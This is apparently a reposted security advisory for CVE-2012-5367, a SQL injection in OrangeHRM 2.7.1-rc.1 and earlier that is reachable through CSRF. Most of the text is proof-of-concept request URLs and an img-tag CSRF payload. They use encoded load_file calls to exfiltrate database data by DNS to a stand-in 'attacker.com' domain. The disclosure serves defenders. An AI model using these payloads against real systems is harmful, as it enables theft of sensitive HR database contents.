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Credit:
The original article can be found at: https://www.htbridge.com/advisory/HTB23119
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Vulnerable Systems:
* OrangeHRM 2.7.1-rc.1 and prior
A SQL injection vulnerability has been discovered in OrangeHRM, which could be exploited to alter SQL requests to the application's database.
1) SQL Injection Vulnerability in Orange HRM: CVE-2012-5367
The vulnerability was discovered in the "/symfony/web/index.php" script while handling the "sortField" HTTP GET parameter.
Successful exploitation of this vulnerability requires administrative privileges, however it can be exploited by a non-authenticated user via CSRF vector, as the above-mentioned script is also vulnerable to CSRF attack.
The vulnerability could be triggered by accessing the following URIs:
/symfony/web/index.php/admin/viewCustomers
/symfony/web/index.php/admin/viewPayGrades
/symfony/web/index.php/admin/viewPayGrades
The PoC codes below are based on DNS Exfiltration technique and can be used in cases when application's database is hosted on a Windows system. The PoCs will send a DNS request demanding IP addess for `version()` (or any other sensitive information from the database) subdomain of ".attacker.com" (a domain name, DNS server of which is controlled by the attacker):
1.1
http://[host]/symfony/web/index.php/admin/viewCustomers?sortOrder=ASC&sortField=(select
load_file(CONCAT(CHAR(92),CHAR(92),(select
version()),CHAR(46),CHAR(97),CHAR(116),CHAR(116),CHAR(97),CHAR(99),CHAR(107),CHAR(101),CHAR(114),CHAR(46),CHAR(99),CHAR(111),CHAR(109),CHAR(92),CHAR(102),CHAR(111),CHAR(111),CHAR(98),CHAR(97),CHAR(114))))
The following PoC demonstrates exploitation of the vulnerability via CSRF vector:
<img src="http://[host]/symfony/web/index.php/admin/viewCustomers?sortOrder=ASC&sortField=(select
load_file(CONCAT(CHAR(92),CHAR(92),(select
version()),CHAR(46),CHAR(97),CHAR(116),CHAR(116),CHAR(97),CHAR(99),CHAR(107),CHAR(101),CHAR(114),CHAR(46),CHAR(99),CHAR(111),CHAR(109),CHAR(92),CHAR(102),CHAR(111),CHAR(111),CHAR(98),CHAR(97),CHAR(114))))">
1.2
http://[host]/symfony/web/index.php/admin/viewPayGrades?sortOrder=ASC&sortField=(select load_file(CONCAT(CHAR(92),CHAR(92),(select
version()),CHAR(46),CHAR(97),CHAR(116),CHAR(116),CHAR(97),CHAR(99),CHAR(107),CHAR(101),CHAR(114),CHAR(46),CHAR(99),CHAR(111),CHAR(109),CHAR(92),CHAR(102),CHAR(111),CHAR(111),CHAR(98),CHAR(97),CHAR(114))))
1.3
http://[host]/symfony/web/index.php/admin/viewSystemUsers?sortOrder=ASC&sortField=(select
load_file(CONCAT(CHAR(92),CHAR(92),(select
version()),CHAR(46),CHAR(97),CHAR(116),CHAR(116),CHAR(97),CHAR(99),CHAR(107),CHAR(101),CHAR(114),CHAR(46),CHAR(99),CHAR(111),CHAR(109),CHAR(92),CHAR(102),CHAR(111),CHAR(111),CHAR(98),CHAR(97),CHAR(114))))
CVE Information:
CVE-2012-5367
Disclosure Timeline:
Vendor Notification: October 10, 2012
Public Disclosure: October 31, 2012
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